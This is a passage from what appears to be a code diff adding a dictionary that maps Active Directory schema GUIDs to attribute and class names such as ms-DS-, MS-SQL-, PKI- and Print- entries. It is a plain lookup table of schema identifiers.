'Physical-Location-Object', + '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', + 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', + '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', + 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', + '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', + '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', + 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', + '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', + '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', + 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', + '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', + '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', + 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', + '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', + 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', + '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', + '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', + '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', + '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', + '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', + 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', + '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', + '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', + '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', + 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', + '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', + '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', + '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', + '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', + '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', + '8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes', + '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', + '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', + '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', + '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', + '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', + 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', + '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', + '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', + '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', + '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', + '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', + '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', + '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', + 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', + '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', + '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', + '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', + '2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', + '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', + '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', + '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', + 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', + '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', + 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', + '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', + 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', + 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', + '3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', + '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', + 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', + 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', + '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', + 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', + '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', + 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', + 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', + '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', + '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', + 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', + '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', + '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', + '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', + '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', + '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', + 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', + 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', + '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', + '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', + 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', + 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', + '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', + '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', + 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', + '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', + 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', + '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', + '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', + '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', + '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', + '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', + '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', + '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', + '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', + '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', + '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', + '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', + 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', + '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', + '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', + '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', + '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', + 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', + 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', + 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', + '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', + 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', + 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', + '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', + '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', + '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', + 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', + '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', + 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', + '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', + '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', + 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', + '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', + 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', + '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', + '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', + 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', + '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', + 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', + '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', + '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', + 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', + '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', + 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', + 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', + 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', + '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', + 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', + 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', + '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', + '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', + 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', + 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', + 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', + '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', + 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', + 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', + 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', + 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', + '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', + 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', + 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', + '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', + 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', + 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', + 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', + 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', + 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', + 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', + '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', + 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', + 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', + 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', + 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', + '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', + 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', + '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', + 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', + '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', + 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', + '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', + 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', + 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', + 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', + 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', + 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', + 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', + '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', + 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', + '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', + 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', + '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', + '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', + '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', + 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', + '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', + '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', + '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', + 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', + 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', + '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', + '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', + 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', + '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', + 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', + 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', + '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', + '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', + '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', + 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', + 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', + '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', + 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', + 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', + 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', + 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', + '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', + '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', + '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', + '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', + 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', + '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', + 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', + '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', + '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', + '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', + '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', + 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', + 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', + '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', + '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', + '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', + 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', + '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', + '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', + 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', + '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', + 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', + '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', + 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', + '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', + 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', + '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', + 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', + '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', + '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', + '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', + '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', + 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', + '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', + 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', + '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', + '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', + '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', + 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', + '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', + 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', + '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', + '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', + 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', + 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', + 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', + 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', + 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', + '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', + 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', + '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', + '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', + 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', + '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', + 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', + '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', + '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', + 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', + 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', + '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', + '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', + 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', + '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', + 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', + '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', + 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', + 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', + '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', + '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', + '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', + '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', + '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', + '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', + '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', + 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', + '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', + 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', + 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', + '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', + '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', + 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', + 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', + 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', + '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', + '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', + 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', + 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', + 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', + 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', + 'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', + 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', + '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', + 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', + 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', + 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', + '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', + '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', + 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', + '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', + 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', + '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', + 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', + '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', + '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', + 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', + 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', + 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', + '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', + 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', + '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', + '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', + '9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', + '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', + 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', + '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', + 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', + 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', + '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', + 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', + 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', + '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', + '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', + 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', + 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', + 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', + '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', + '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', + 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', + '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', + 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', + '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', + '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', + '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', + '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', + 